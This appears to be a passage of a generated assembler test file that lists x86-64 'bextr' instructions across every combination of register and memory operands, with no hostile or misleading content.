bextr r11d, [r12d], r12d
bextr r11d, [r12d], r13d
bextr r11d, [r12d], r14d
bextr r11d, [r12d], r15d
bextr r11d, [r12d], esp
bextr r11d, [r12d], esi
bextr r11d, [r12d], ebp
bextr r11d, [r13d], eax
bextr r11d, [r13d], ebx
bextr r11d, [r13d], ecx
bextr r11d, [r13d], edx
bextr r11d, [r13d], edi
bextr r11d, [r13d], r8d
bextr r11d, [r13d], r9d
bextr r11d, [r13d], r10d
bextr r11d, [r13d], r11d
bextr r11d, [r13d], r12d
bextr r11d, [r13d], r13d
bextr r11d, [r13d], r14d
bextr r11d, [r13d], r15d
bextr r11d, [r13d], esp
bextr r11d, [r13d], esi
bextr r11d, [r13d], ebp
bextr r11d, [r14d], eax
bextr r11d, [r14d], ebx
bextr r11d, [r14d], ecx
bextr r11d, [r14d], edx
bextr r11d, [r14d], edi
bextr r11d, [r14d], r8d
bextr r11d, [r14d], r9d
bextr r11d, [r14d], r10d
bextr r11d, [r14d], r11d
bextr r11d, [r14d], r12d
bextr r11d, [r14d], r13d
bextr r11d, [r14d], r14d
bextr r11d, [r14d], r15d
bextr r11d, [r14d], esp
bextr r11d, [r14d], esi
bextr r11d, [r14d], ebp
bextr r11d, [r15d], eax
bextr r11d, [r15d], ebx
bextr r11d, [r15d], ecx
bextr r11d, [r15d], edx
bextr r11d, [r15d], edi
bextr r11d, [r15d], r8d
bextr r11d, [r15d], r9d
bextr r11d, [r15d], r10d
bextr r11d, [r15d], r11d
bextr r11d, [r15d], r12d
bextr r11d, [r15d], r13d
bextr r11d, [r15d], r14d
bextr r11d, [r15d], r15d
bextr r11d, [r15d], esp
bextr r11d, [r15d], esi
bextr r11d, [r15d], ebp
bextr r11d, [esp], eax
bextr r11d, [esp], ebx
bextr r11d, [esp], ecx
bextr r11d, [esp], edx
bextr r11d, [esp], edi
bextr r11d, [esp], r8d
bextr r11d, [esp], r9d
bextr r11d, [esp], r10d
bextr r11d, [esp], r11d
bextr r11d, [esp], r12d
bextr r11d, [esp], r13d
bextr r11d, [esp], r14d
bextr r11d, [esp], r15d
bextr r11d, [esp], esp
bextr r11d, [esp], esi
bextr r11d, [esp], ebp
bextr r11d, [esi], eax
bextr r11d, [esi], ebx
bextr r11d, [esi], ecx
bextr r11d, [esi], edx
bextr r11d, [esi], edi
bextr r11d, [esi], r8d
bextr r11d, [esi], r9d
bextr r11d, [esi], r10d
bextr r11d, [esi], r11d
bextr r11d, [esi], r12d
bextr r11d, [esi], r13d
bextr r11d, [esi], r14d
bextr r11d, [esi], r15d
bextr r11d, [esi], esp
bextr r11d, [esi], esi
bextr r11d, [esi], ebp
bextr r11d, [ebp], eax
bextr r11d, [ebp], ebx
bextr r11d, [ebp], ecx
bextr r11d, [ebp], edx
bextr r11d, [ebp], edi
bextr r11d, [ebp], r8d
bextr r11d, [ebp], r9d
bextr r11d, [ebp], r10d
bextr r11d, [ebp], r11d
bextr r11d, [ebp], r12d
bextr r11d, [ebp], r13d
bextr r11d, [ebp], r14d
bextr r11d, [ebp], r15d
bextr r11d, [ebp], esp
bextr r11d, [ebp], esi
bextr r11d, [ebp], ebp
bextr r12d, [eax], eax
bextr r12d, [eax], ebx
bextr r12d, [eax], ecx
bextr r12d, [eax], edx
bextr r12d, [eax], edi
bextr r12d, [eax], r8d
bextr r12d, [eax], r9d
bextr r12d, [eax], r10d
bextr r12d, [eax], r11d
bextr r12d, [eax], r12d
bextr r12d, [eax], r13d
bextr r12d, [eax], r14d
bextr r12d, [eax], r15d
bextr r12d, [eax], esp
bextr r12d, [eax], esi
bextr r12d, [eax], ebp
bextr r12d, [ebx], eax
bextr r12d, [ebx], ebx
bextr r12d, [ebx], ecx
bextr r12d, [ebx], edx
bextr r12d, [ebx], edi
bextr r12d, [ebx], r8d
bextr r12d, [ebx], r9d
bextr r12d, [ebx], r10d
bextr r12d, [ebx], r11d
bextr r12d, [ebx], r12d
bextr r12d, [ebx], r13d
bextr r12d, [ebx], r14d
bextr r12d, [ebx], r15d
bextr r12d, [ebx], esp
bextr r12d, [ebx], esi
bextr r12d, [ebx], ebp
bextr r12d, [ecx], eax
bextr r12d, [ecx], ebx
bextr r12d, [ecx], ecx
bextr r12d, [ecx], edx
bextr r12d, [ecx], edi
bextr r12d, [ecx], r8d
bextr r12d, [ecx], r9d
bextr r12d, [ecx], r10d
bextr r12d, [ecx], r11d
bextr r12d, [ecx], r12d
bextr r12d, [ecx], r13d
bextr r12d, [ecx], r14d
bextr r12d, [ecx], r15d
bextr r12d, [ecx], esp
bextr r12d, [ecx], esi
bextr r12d, [ecx], ebp
bextr r12d, [edx], eax
bextr r12d, [edx], ebx
bextr r12d, [edx], ecx
bextr r12d, [edx], edx
bextr r12d, [edx], edi
bextr r12d, [edx], r8d
bextr r12d, [edx], r9d
bextr r12d, [edx], r10d
bextr r12d, [edx], r11d
bextr r12d, [edx], r12d
bextr r12d, [edx], r13d
bextr r12d, [edx], r14d
bextr r12d, [edx], r15d
bextr r12d, [edx], esp
bextr r12d, [edx], esi
bextr r12d, [edx], ebp
bextr r12d, [edi], eax
bextr r12d, [edi], ebx
bextr r12d, [edi], ecx
bextr r12d, [edi], edx
bextr r12d, [edi], edi
bextr r12d, [edi], r8d
bextr r12d, [edi], r9d
bextr r12d, [edi], r10d
bextr r12d, [edi], r11d
bextr r12d, [edi], r12d
bextr r12d, [edi], r13d
bextr r12d, [edi], r14d
bextr r12d, [edi], r15d
bextr r12d, [edi], esp
bextr r12d, [edi], esi
bextr r12d, [edi], ebp
bextr r12d, [r8d], eax
bextr r12d, [r8d], ebx
bextr r12d, [r8d], ecx
bextr r12d, [r8d], edx
bextr r12d, [r8d], edi
bextr r12d, [r8d], r8d
bextr r12d, [r8d], r9d
bextr r12d, [r8d], r10d
bextr r12d, [r8d], r11d
bextr r12d, [r8d], r12d
bextr r12d, [r8d], r13d
bextr r12d, [r8d], r14d
bextr r12d, [r8d], r15d
bextr r12d, [r8d], esp
bextr r12d, [r8d], esi
bextr r12d, [r8d], ebp
bextr r12d, [r9d], eax
bextr r12d, [r9d], ebx
bextr r12d, [r9d], ecx
bextr r12d, [r9d], edx
bextr r12d, [r9d], edi
bextr r12d, [r9d], r8d
bextr r12d, [r9d], r9d
bextr r12d, [r9d], r10d
bextr r12d, [r9d], r11d
bextr r12d, [r9d], r12d
bextr r12d, [r9d], r13d
bextr r12d, [r9d], r14d
bextr r12d, [r9d], r15d
bextr r12d, [r9d], esp
bextr r12d, [r9d], esi
bextr r12d, [r9d], ebp
bextr r12d, [r10d], eax
bextr r12d, [r10d], ebx
bextr r12d, [r10d], ecx
bextr r12d, [r10d], edx
bextr r12d, [r10d], edi
bextr r12d, [r10d], r8d
bextr r12d, [r10d], r9d
bextr r12d, [r10d], r10d
bextr r12d, [r10d], r11d
bextr r12d, [r10d], r12d
bextr r12d, [r10d], r13d
bextr r12d, [r10d], r14d
bextr r12d, [r10d], r15d
bextr r12d, [r10d], esp
bextr r12d, [r10d], esi
bextr r12d, [r10d], ebp
bextr r12d, [r11d], eax
bextr r12d, [r11d], ebx
bextr r12d, [r11d], ecx
bextr r12d, [r11d], edx
bextr r12d, [r11d], edi
bextr r12d, [r11d], r8d
bextr r12d, [r11d], r9d
bextr r12d, [r11d], r10d
bextr r12d, [r11d], r11d
bextr r12d, [r11d], r12d
bextr r12d, [r11d], r13d
bextr r12d, [r11d], r14d
bextr r12d, [r11d], r15d
bextr r12d, [r11d], esp
bextr r12d, [r11d], esi
bextr r12d, [r11d], ebp
bextr r12d, [r12d], eax
bextr r12d, [r12d], ebx
bextr r12d, [r12d], ecx
bextr r12d, [r12d], edx
bextr r12d, [r12d], edi
bextr r12d, [r12d], r8d
bextr r12d, [r12d], r9d
bextr r12d, [r12d], r10d
bextr r12d, [r12d], r11d
bextr r12d, [r12d], r12d
bextr r12d, [r12d], r13d
bextr r12d, [r12d], r14d
bextr r12d, [r12d], r15d
bextr r12d, [r12d], esp
bextr r12d, [r12d], esi
bextr r12d, [r12d], ebp
bextr r12d, [r13d], eax
bextr r12d, [r13d], ebx
bextr r12d, [r13d], ecx
bextr r12d, [r13d], edx
bextr r12d, [r13d], edi
bextr r12d, [r13d], r8d
bextr r12d, [r13d], r9d
bextr r12d, [r13d], r10d
bextr r12d, [r13d], r11d
bextr r12d, [r13d], r12d
bextr r12d, [r13d], r13d
bextr r12d, [r13d], r14d
bextr r12d, [r13d], r15d
bextr r12d, [r13d], esp
bextr r12d, [r13d], esi
bextr r12d, [r13d], ebp
bextr r12d, [r14d], eax
bextr r12d, [r14d], ebx
bextr r12d, [r14d], ecx
bextr r12d, [r14d], edx
bextr r12d, [r14d], edi
bextr r12d, [r14d], r8d
bextr r12d, [r14d], r9d
bextr r12d, [r14d], r10d
bextr r12d, [r14d], r11d
bextr r12d, [r14d], r12d
bextr r12d, [r14d], r13d
bextr r12d, [r14d], r14d
bextr r12d, [r14d], r15d
bextr r12d, [r14d], esp
bextr r12d, [r14d], esi
bextr r12d, [r14d], ebp
bextr r12d, [r15d], eax
bextr r12d, [r15d], ebx
bextr r12d, [r15d], ecx
bextr r12d, [r15d], edx
bextr r12d, [r15d], edi
bextr r12d, [r15d], r8d
bextr r12d, [r15d], r9d
bextr r12d, [r15d], r10d
bextr r12d, [r15d], r11d
bextr r12d, [r15d], r12d
bextr r12d, [r15d], r13d
bextr r12d, [r15d], r14d
bextr r12d, [r15d], r15d
bextr r12d, [r15d], esp
bextr r12d, [r15d], esi
bextr r12d, [r15d], ebp
bextr r12d, [esp], eax
bextr r12d, [esp], ebx
bextr r12d, [esp], ecx
bextr r12d, [esp], edx
bextr r12d, [esp], edi
bextr r12d, [esp], r8d
bextr r12d, [esp], r9d
bextr r12d, [esp], r10d
bextr r12d, [esp], r11d
bextr r12d, [esp], r12d
bextr r12d, [esp], r13d
bextr r12d, [esp], r14d
bextr r12d, [esp], r15d
bextr r12d, [esp], esp
bextr r12d, [esp], esi
bextr r12d, [esp], ebp
bextr r12d, [esi], eax
bextr r12d, [esi], ebx
bextr r12d, [esi], ecx
bextr r12d, [esi], edx
bextr r12d, [esi], edi
bextr r12d, [esi], r8d
bextr r12d, [esi], r9d
bextr r12d, [esi], r10d
bextr r12d, [esi], r11d
bextr r12d, [esi], r12d
bextr r12d, [esi], r13d
bextr r12d, [esi], r14d
bextr r12d, [esi], r15d
bextr r12d, [esi], esp
bextr r12d, [esi], esi
bextr r12d, [esi], ebp
bextr r12d, [ebp], eax
bextr r12d, [ebp], ebx
bextr r12d, [ebp], ecx
bextr r12d, [ebp], edx
bextr r12d, [ebp], edi
bextr r12d, [ebp], r8d
bextr r12d, [ebp], r9d
bextr r12d, [ebp], r10d
bextr r12d, [ebp], r11d
bextr r12d, [ebp], r12d
bextr r12d, [ebp], r13d
bextr r12d, [ebp], r14d
bextr r12d, [ebp], r15d
bextr r12d, [ebp], esp
bextr r12d, [ebp], esi
bextr r12d, [ebp], ebp
bextr r13d, [eax], eax
bextr r13d, [eax], ebx
bextr r13d, [eax], ecx
bextr r13d, [eax], edx
bextr r13d, [eax], edi
bextr r13d, [eax], r8d
bextr r13d, [eax], r9d
bextr r13d, [eax], r10d
bextr r13d, [eax], r11d
bextr r13d, [eax], r12d
bextr r13d, [eax], r13d
bextr r13d, [eax], r14d
bextr r13d, [eax], r15d
bextr r13d, [eax], esp
bextr r13d, [eax], esi
bextr r13d, [eax], ebp
bextr r13d, [ebx], eax
bextr r13d, [ebx], ebx
bextr r13d, [ebx], ecx
bextr r13d, [ebx], edx
bextr r13d, [ebx], edi
bextr r13d, [ebx], r8d
bextr r13d, [ebx], r9d
bextr r13d, [ebx], r10d
bextr r13d, [ebx], r11d
bextr r13d, [ebx], r12d
bextr r13d, [ebx], r13d
bextr r13d, [ebx], r14d
bextr r13d, [ebx], r15d
bextr r13d, [ebx], esp
bextr r13d, [ebx], esi
bextr r13d, [ebx], ebp
bextr r13d, [ecx], eax
bextr r13d, [ecx], ebx
bextr r13d, [ecx], ecx
bextr r13d, [ecx], edx
bextr r13d, [ecx], edi
bextr r13d, [ecx], r8d
bextr r13d, [ecx], r9d
bextr r13d, [ecx], r10d
bextr r13d, [ecx], r11d
bextr r13d, [ecx], r12d
bextr r13d, [ecx], r13d
bextr r13d, [ecx], r14d
bextr r13d, [ecx], r15d
bextr r13d, [ecx], esp
bextr r13d, [ecx], esi
bextr r13d, [ecx], ebp
bextr r13d, [edx], eax
bextr r13d, [edx], ebx
bextr r13d, [edx], ecx
bextr r13d, [edx], edx
bextr r13d, [edx], edi
bextr r13d, [edx], r8d
bextr r13d, [edx], r9d
bextr r13d, [edx], r10d
bextr r13d, [edx], r11d
bextr r13d, [edx], r12d
bextr r13d, [edx], r13d
bextr r13d, [edx], r14d
bextr r13d, [edx], r15d
bextr r13d, [edx], esp
bextr r13d, [edx], esi
bextr r13d, [edx], ebp
bextr r13d, [edi], eax
bextr r13d, [edi], ebx
bextr r13d, [edi], ecx
bextr r13d, [edi], edx
bextr r13d, [edi], edi
bextr r13d, [edi], r8d
bextr r13d, [edi], r9d
bextr r13d, [edi], r10d
bextr r13d, [edi], r11d
bextr r13d, [edi], r12d
bextr r13d, [edi], r13d
bextr r13d, [edi], r14d
bextr r13d, [edi], r15d
bextr r13d, [edi], esp
bextr r13d, [edi], esi
bextr r13d, [edi], ebp
bextr r13d, [r8d], eax
bextr r13d, [r8d], ebx
bextr r13d, [r8d], ecx
bextr r13d, [r8d], edx
bextr r13d, [r8d], edi
bextr r13d, [r8d], r8d
bextr r13d, [r8d], r9d
bextr r13d, [r8d], r10d
bextr r13d, [r8d], r11d
bextr r13d, [r8d], r12d
bextr r13d, [r8d], r13d
bextr r13d, [r8d], r14d
bextr r13d, [r8d], r15d
bextr r13d, [r8d], esp
bextr r13d, [r8d], esi
bextr r13d, [r8d], ebp
bextr r13d, [r9d], eax
bextr r13d, [r9d], ebx
bextr r13d, [r9d], ecx
bextr r13d, [r9d], edx
bextr r13d, [r9d], edi
bextr r13d, [r9d], r8d
bextr r13d, [r9d], r9d
bextr r13d, [r9d], r10d
bextr r13d, [r9d], r11d
bextr r13d, [r9d], r12d
bextr r13d, [r9d], r13d
bextr r13d, [r9d], r14d
bextr r13d, [r9d], r15d
bextr r13d, [r9d], esp
bextr r13d, [r9d], esi
bextr r13d, [r9d], ebp
bextr r13d, [r10d], eax
bextr r13d, [r10d], ebx
bextr r13d, [r10d], ecx
bextr r13d, [r10d], edx
bextr r13d, [r10d], edi
bextr r13d, [r10d], r8d
bextr r13d, [r10d], r9d
bextr r13d, [r10d], r10d
bextr r13d, [r10d], r11d
bextr r13d, [r10d], r12d
bextr r13d, [r10d], r13d
bextr r13d, [r10d], r14d
bextr r13d, [r10d], r15d
bextr r13d, [r10d], esp
bextr r13d, [r10d], esi
bextr r13d, [r10d], ebp
bextr r13d, [r11d], eax
bextr r13d, [r11d], ebx
bextr r13d, [r11d], ecx
bextr r13d, [r11d], edx
bextr r13d, [r11d], edi
bextr r13d, [r11d], r8d
bextr r13d, [r11d], r9d
bextr r13d, [r11d], r10d
bextr r13d, [r11d], r11d
bextr r13d, [r11d], r12d
bextr r13d, [r11d], r13d
bextr r13d, [r11d], r14d
bextr r13d, [r11d], r15d
bextr r13d, [r11d], esp
bextr r13d, [r11d], esi
bextr r13d, [r11d], ebp
bextr r13d, [r12d], eax
bextr r13d, [r12d], ebx
bextr r13d, [r12d], ecx
bextr r13d, [r12d], edx
bextr r13d, [r12d], edi
bextr r13d, [r12d], r8d
bextr r13d, [r12d], r9d
bextr r13d, [r12d], r10d
bextr r13d, [r12d], r11d
bextr r13d, [r12d], r12d
bextr r13d, [r12d], r13d
bextr r13d, [r12d], r14d
bextr r13d, [r12d], r15d
bextr r13d, [r12d], esp
bextr r13d, [r12d], esi
bextr r13d, [r12d], ebp
bextr r13d, [r13d], eax
bextr r13d, [r13d], ebx
bextr r13d, [r13d], ecx
bextr r13d, [r13d], edx
bextr r13d, [r13d], edi
bextr r13d, [r13d], r8d
bextr r13d, [r13d], r9d
bextr r13d, [r13d], r10d
bextr r13d, [r13d], r11d
bextr r13d, [r13d], r12d
bextr r13d, [r13d], r13d
bextr r13d, [r13d], r14d
bextr r13d, [r13d], r15d
bextr r13d, [r13d], esp
bextr r13d, [r13d], esi
bextr r13d, [r13d], ebp
bextr r13d, [r14d], eax
bextr r13d, [r14d], ebx
bextr r13d, [r14d], ecx
bextr r13d, [r14d], edx
bextr r13d, [r14d], edi
bextr r13d, [r14d], r8d
bextr r13d, [r14d], r9d
bextr r13d, [r14d], r10d
bextr r13d, [r14d], r11d
bextr r13d, [r14d], r12d
bextr r13d, [r14d], r13d
bextr r13d, [r14d], r14d
bextr r13d, [r14d], r15d
bextr r13d, [r14d], esp
bextr r13d, [r14d], esi
bextr r13d, [r14d], ebp
bextr r13d, [r15d], eax
bextr r13d, [r15d], ebx
bextr r13d, [r15d], ecx
bextr r13d, [r15d], edx
bextr r13d, [r15d], edi
bextr r13d, [r15d], r8d
bextr r13d, [r15d], r9d
bextr r13d, [r15d], r10d
bextr r13d, [r15d], r11d
bextr r13d, [r15d], r12d
bextr r13d, [r15d], r13d
bextr r13d, [r15d], r14d
bextr r13d, [r15d], r15d
bextr r13d, [r15d], esp
bextr r13d, [r15d], esi
bextr r13d, [r15d], ebp
bextr r13d, [esp], eax
bextr r13d, [esp], ebx
bextr r13d, [esp], ecx
bextr r13d, [esp], edx
bextr r13d, [esp], edi
bextr r13d, [esp], r8d
bextr r13d, [esp], r9d
bextr r13d, [esp], r10d
bextr r13d, [esp], r11d
bextr r13d, [esp], r12d
bextr r13d, [esp], r13d
bextr r13d, [esp], r14d
bextr r13d, [esp], r15d
bextr r13d, [esp], esp
bextr r13d, [esp], esi
bextr r13d, [esp], ebp
bextr r13d, [esi], eax
bextr r13d, [esi], ebx
bextr r13d, [esi], ecx
bextr r13d, [esi], edx
bextr r13d, [esi], edi
bextr r13d, [esi], r8d
bextr r13d, [esi], r9d
bextr r13d, [esi], r10d
bextr r13d, [esi], r11d
bextr r13d, [esi], r12d
bextr r13d, [esi], r13d
bextr r13d, [esi], r14d
bextr r13d, [esi], r15d
bextr r13d, [esi], esp
bextr r13d, [esi], esi
bextr r13d, [esi], ebp
bextr r13d, [ebp], eax
bextr r13d, [ebp], ebx
bextr r13d, [ebp], ecx
bextr r13d, [ebp], edx
bextr r13d, [ebp], edi
bextr r13d, [ebp], r8d
bextr r13d, [ebp], r9d
bextr r13d, [ebp], r10d
bextr r13d, [ebp], r11d
bextr r13d, [ebp], r12d
bextr r13d, [ebp], r13d
bextr r13d, [ebp], r14d
bextr r13d, [ebp], r15d
bextr r13d, [ebp], esp
bextr r13d, [ebp], esi
bextr r13d, [ebp], ebp
bextr r14d, [eax], eax
bextr r14d, [eax], ebx
bextr r14d, [eax], ecx
bextr r14d, [eax], edx
bextr r14d, [eax], edi
bextr r14d, [eax], r8d
bextr r14d, [eax], r9d
bextr r14d, [eax], r10d
bextr r14d, [eax], r11d
bextr r14d, [eax], r12d
bextr r14d, [eax], r13d
bextr r14d, [eax], r14d
bextr r14d, [eax], r15d
bextr r14d, [eax], esp
bextr r14d, [eax], esi
bextr r14d, [eax], ebp
bextr r14d, [ebx], eax
bextr r14d, [ebx], ebx
bextr r14d, [ebx], ecx
bextr r14d, [ebx], edx
bextr r14d, [ebx], edi
bextr r14d, [ebx], r8d
bextr r14d, [ebx], r9d
bextr r14d, [ebx], r10d
bextr r14d, [ebx], r11d
bextr r14d, [ebx], r12d
bextr r14d, [ebx], r13d
bextr r14d, [ebx], r14d
bextr r14d, [ebx], r15d
bextr r14d, [ebx], esp
bextr r14d, [ebx], esi
bextr r14d, [ebx], ebp
bextr r14d, [ecx], eax
bextr r14d, [ecx], ebx
bextr r14d, [ecx], ecx
bextr r14d, [ecx], edx
bextr r14d, [ecx], edi
bextr r14d, [ecx], r8d
bextr r14d, [ecx], r9d
bextr r14d, [ecx], r10d
bextr r14d, [ecx], r11d
bextr r14d, [ecx], r12d
bextr r14d, [ecx], r13d
bextr r14d, [ecx], r14d
bextr r14d, [ecx], r15d
bextr r14d, [ecx], esp
bextr r14d, [ecx], esi
bextr r14d, [ecx], ebp
bextr r14d, [edx], eax
bextr r14d, [edx], ebx
bextr r14d, [edx], ecx
bextr r14d, [edx], edx
bextr r14d, [edx], edi
bextr r14d, [edx], r8d
bextr r14d, [edx], r9d
bextr r14d, [edx], r10d
bextr r14d, [edx], r11d
bextr r14d, [edx], r12d
bextr r14d, [edx], r13d
bextr r14d, [edx], r14d
bextr r14d, [edx], r15d
bextr r14d, [edx], esp
bextr r14d, [edx], esi
bextr r14d, [edx], ebp
bextr r14d, [edi], eax
bextr r14d, [edi], ebx
bextr r14d, [edi], ecx
bextr r14d, [edi], edx
bextr r14d, [edi], edi
bextr r14d, [edi], r8d
bextr r14d, [edi], r9d
bextr r14d, [edi], r10d
bextr r14d, [edi], r11d
bextr r14d, [edi], r12d
bextr r14d, [edi], r13d
bextr r14d, [edi], r14d
bextr r14d, [edi], r15d
bextr r14d, [edi], esp
bextr r14d, [edi], esi
bextr r14d, [edi], ebp
bextr r14d, [r8d], eax
bextr r14d, [r8d], ebx
bextr r14d, [r8d], ecx
bextr r14d, [r8d], edx
bextr r14d, [r8d], edi
bextr r14d, [r8d], r8d
bextr r14d, [r8d], r9d
bextr r14d, [r8d], r10d
bextr r14d, [r8d], r11d
bextr r14d, [r8d], r12d
bextr r14d, [r8d], r13d
bextr r14d, [r8d], r14d
bextr r14d, [r8d], r15d
bextr r14d, [r8d], esp
bextr r14d, [r8d], esi
bextr r14d, [r8d], ebp
bextr r14d, [r9d], eax
bextr r14d, [r9d], ebx
bextr r14d, [r9d], ecx
bextr r14d, [r9d], edx
bextr r14d, [r9d], edi
bextr r14d, [r9d], r8d
bextr r14d, [r9d], r9d
bextr r14d, [r9d], r10d
bextr r14d, [r9d], r11d
bextr r14d, [r9d], r12d
bextr r14d, [r9d], r13d
bextr r14d, [r9d], r14d
bextr r14d, [r9d], r15d
bextr r14d, [r9d], esp
bextr r14d, [r9d], esi
bextr r14d, [r9d], ebp
bextr r14d, [r10d], eax
bextr r14d, [r10d], ebx
bextr r14d, [r10d], ecx
bextr r14d, [r10d], edx
bextr r14d, [r10d], edi
bextr r14d, [r10d], r8d
bextr r14d, [r10d], r9d
bextr r14d, [r10d], r10d
bextr r14d, [r10d], r11d
bextr r14d, [r10d], r12d
bextr r14d, [r10d], r13d
bextr r14d, [r10d], r14d
bextr r14d, [r10d], r15d
bextr r14d, [r10d], esp
bextr r14d, [r10d], esi
bextr r14d, [r10d], ebp
bextr r14d, [r11d], eax
bextr r14d, [r11d], ebx
bextr r14d, [r11d], ecx
bextr r14d, [r11d], edx
bextr r14d, [r11d], edi
bextr r14d, [r11d], r8d
bextr r14d, [r11d], r9d
bextr r14d, [r11d], r10d
bextr r14d, [r11d], r11d
bextr r14d, [r11d], r12d
bextr r14d, [r11d], r13d
bextr r14d, [r11d], r14d
bextr r14d, [r11d], r15d
bextr r14d, [r11d], esp
bextr r14d, [r11d], esi
bextr r14d, [r11d], ebp
bextr r14d, [r12d], eax
bextr r14d, [r12d], ebx
bextr r14d, [r12d], ecx
bextr r14d, [r12d], edx
bextr r14d, [r12d], edi
bextr r14d, [r12d], r8d
bextr r14d, [r12d], r9d
bextr r14d, [r12d], r10d
bextr r14d, [r12d], r11d
bextr r14d, [r12d], r12d
bextr r14d, [r12d], r13d
bextr r14d, [r12d], r14d
bextr r14d, [r12d], r15d
bextr r14d, [r12d], esp
bextr r14d, [r12d], esi
bextr r14d, [r12d], ebp
bextr r14d, [r13d], eax
bextr r14d, [r13d], ebx
bextr r14d, [r13d], ecx
bextr r14d, [r13d], edx
bextr r14d, [r13d], edi
bextr r14d, [r13d], r8d
bextr r14d, [r13d], r9d
bextr r14d, [r13d], r10d
bextr r14d, [r13d], r11d
bextr r14d, [r13d], r12d
bextr r14d, [r13d], r13d
bextr r14d, [r13d], r14d
bextr r14d, [r13d], r15d
bextr r14d, [r13d], esp
bextr r14d, [r13d], esi
bextr r14d, [r13d], ebp
bextr r14d, [r14d], eax
bextr r14d, [r14d], ebx
bextr r14d, [r14d], ecx
bextr r14d, [r14d], edx
bextr r14d, [r14d], edi
bextr r14d, [r14d], r8d
bextr r14d, [r14d], r9d
bextr r14d, [r14d], r10d
bextr r14d, [r14d], r11d
bextr r14d, [r14d], r12d
bextr r14d, [r14d], r13d
bextr r14d, [r14d], r14d
bextr r14d, [r14d], r15d
bextr r14d, [r14d], esp
bextr r14d, [r14d], esi
bextr r14d, [r14d], ebp
bextr r14d, [r15d], eax
bextr r14d, [r15d], ebx
bextr r14d, [r15d], ecx
bextr r14d, [r15d], edx
bextr r14d, [r15d], edi
bextr r14d, [r15d], r8d
bextr r14d, [r15d], r9d
bextr r14d, [r15d], r10d
bextr r14d, [r15d], r11d
bextr r14d, [r15d], r12d
bextr r14d, [r15d], r13d
bextr r14d, [r15d], r14d
bextr r14d, [r15d], r15d
bextr r14d, [r15d], esp
bextr r14d, [r15d], esi
bextr r14d, [r15d], ebp
bextr r14d, [esp], eax
bextr r14d, [esp], ebx
bextr r14d, [esp], ecx
bextr r14d, [esp], edx
bextr r14d, [esp], edi
bextr r14d, [esp], r8d
bextr r14d, [esp], r9d
bextr r14d, [esp], r10d
bextr r14d, [esp], r11d
bextr r14d, [esp], r12d
bextr r14d, [esp], r13d
bextr r14d, [esp], r14d
bextr r14d, [esp], r15d
bextr r14d, [esp], esp
bextr r14d, [esp], esi
bextr r14d, [esp], ebp
bextr r14d, [esi], eax
bextr r14d, [esi], ebx
bextr r14d, [esi], ecx
bextr r14d, [esi], edx
bextr r14d, [esi], edi
bextr r14d, [esi], r8d
bextr r14d, [esi], r9d
bextr r14d, [esi], r10d
bextr r14d, [esi], r11d
bextr r14d, [esi], r12d
bextr r14d, [esi], r13d
bextr r14d, [esi], r14d
bextr r14d, [esi], r15d
bextr r14d, [esi], esp
bextr r14d, [esi], esi
bextr r14d, [esi], ebp
bextr r14d, [ebp], eax
bextr r14d, [ebp], ebx
bextr r14d, [ebp], ecx
bextr r14d, [ebp], edx
bextr r14d, [ebp], edi
bextr r14d, [ebp], r8d
bextr r14d, [ebp], r9d
bextr r14d, [ebp], r10d
bextr r14d, [ebp], r11d
bextr r14d, [ebp], r12d
bextr r14d, [ebp], r13d
bextr r14d, [ebp], r14d
bextr r14d, [ebp], r15d
bextr r14d, [ebp], esp
bextr r14d, [ebp], esi
bextr r14d, [ebp], ebp
bextr r15d, [eax], eax
bextr r15d, [eax], ebx
bextr r15d, [eax], ecx
bextr r15d, [eax], edx
bextr r15d, [eax], edi
bextr r15d, [eax], r8d
bextr r15d, [eax], r9d
bextr r15d, [eax], r10d
bextr r15d, [eax], r11d
bextr r15d, [eax], r12d
bextr r15d, [eax], r13d
bextr r15d, [eax], r14d
bextr r15d, [eax], r15d
bextr r15d, [eax], esp
bextr r15d, [eax], esi
bextr r15d, [eax], ebp
bextr r15d, [ebx], eax
bextr r15d, [ebx], ebx
bextr r15d, [ebx], ecx
bextr r15d, [ebx], edx
bextr r15d, [ebx], edi
bextr r15d, [ebx], r8d
bextr r15d, [ebx], r9d
bextr r15d, [ebx], r10d
bextr r15d, [ebx], r11d
bextr r15d, [ebx], r12d
bextr r15d, [ebx], r13d
bextr r15d, [ebx], r14d
bextr r15d, [ebx], r15d
bextr r15d, [ebx], esp
bextr r15d, [ebx], esi
bextr r15d, [ebx], ebp
bextr r15d, [ecx], eax
bextr r15d, [ecx], ebx
bextr r15d, [ecx], ecx
bextr r15d, [ecx], edx
bextr r15d, [ecx], edi
bextr r15d, [ecx], r8d
bextr r15d, [ecx], r9d
bextr r15d, [ecx], r10d
bextr r15d, [ecx], r11d
bextr r15d, [ecx], r12d
bextr r15d, [ecx], r13d
bextr r15d, [ecx], r14d
bextr r15d, [ecx], r15d
bextr r15d, [ecx], esp
bextr r15d, [ecx], esi
bextr r15d, [ecx], ebp
bextr r15d, [edx], eax
bextr r15d, [edx], ebx
bextr r15d, [edx], ecx
bextr r15d, [edx], edx
bextr r15d, [edx], edi
bextr r15d, [edx], r8d
bextr r15d, [edx], r9d
bextr r15d, [edx], r10d
bextr r15d, [edx], r11d
bextr r15d, [edx], r12d
bextr r15d, [edx], r13d
bextr r15d, [edx], r14d
bextr r15d, [edx], r15d
bextr r15d, [edx], esp
bextr r15d, [edx], esi
bextr r15d, [edx], ebp
bextr r15d, [edi], eax
bextr r15d, [edi], ebx
bextr r15d, [edi], ecx
bextr r15d, [edi], edx
bextr r15d, [edi], edi
bextr r15d, [edi], r8d
bextr r15d, [edi], r9d
bextr r15d, [edi], r10d
bextr r15d, [edi], r11d
bextr r15d, [edi], r12d
bextr r15d, [edi], r13d
bextr r15d, [edi], r14d
bextr r15d, [edi], r15d
bextr r15d, [edi], esp
bextr r15d, [edi], esi
bextr r15d, [edi], ebp
bextr r15d, [r8d], eax
bextr r15d, [r8d], ebx
bextr r15d, [r8d], ecx
bextr r15d, [r8d], edx
bextr r15d, [r8d], edi
bextr r15d, [r8d], r8d
bextr r15d, [r8d], r9d
bextr r15d, [r8d], r10d
bextr r15d, [r8d], r11d
bextr r15d, [r8d], r12d
bextr r15d, [r8d], r13d
bextr r15d, [r8d], r14d
bextr r15d, [r8d], r15d
bextr r15d, [r8d], esp
bextr r15d, [r8d], esi
bextr r15d, [r8d], ebp
bextr r15d, [r9d], eax
bextr r15d, [r9d], ebx
bextr r15d, [r9d], ecx
bextr r15d, [r9d], edx
bextr r15d, [r9d], edi
bextr r15d, [r9d], r8d
bextr r15d, [r9d], r9d
bextr r15d, [r9d], r10d
bextr r15d, [r9d], r11d
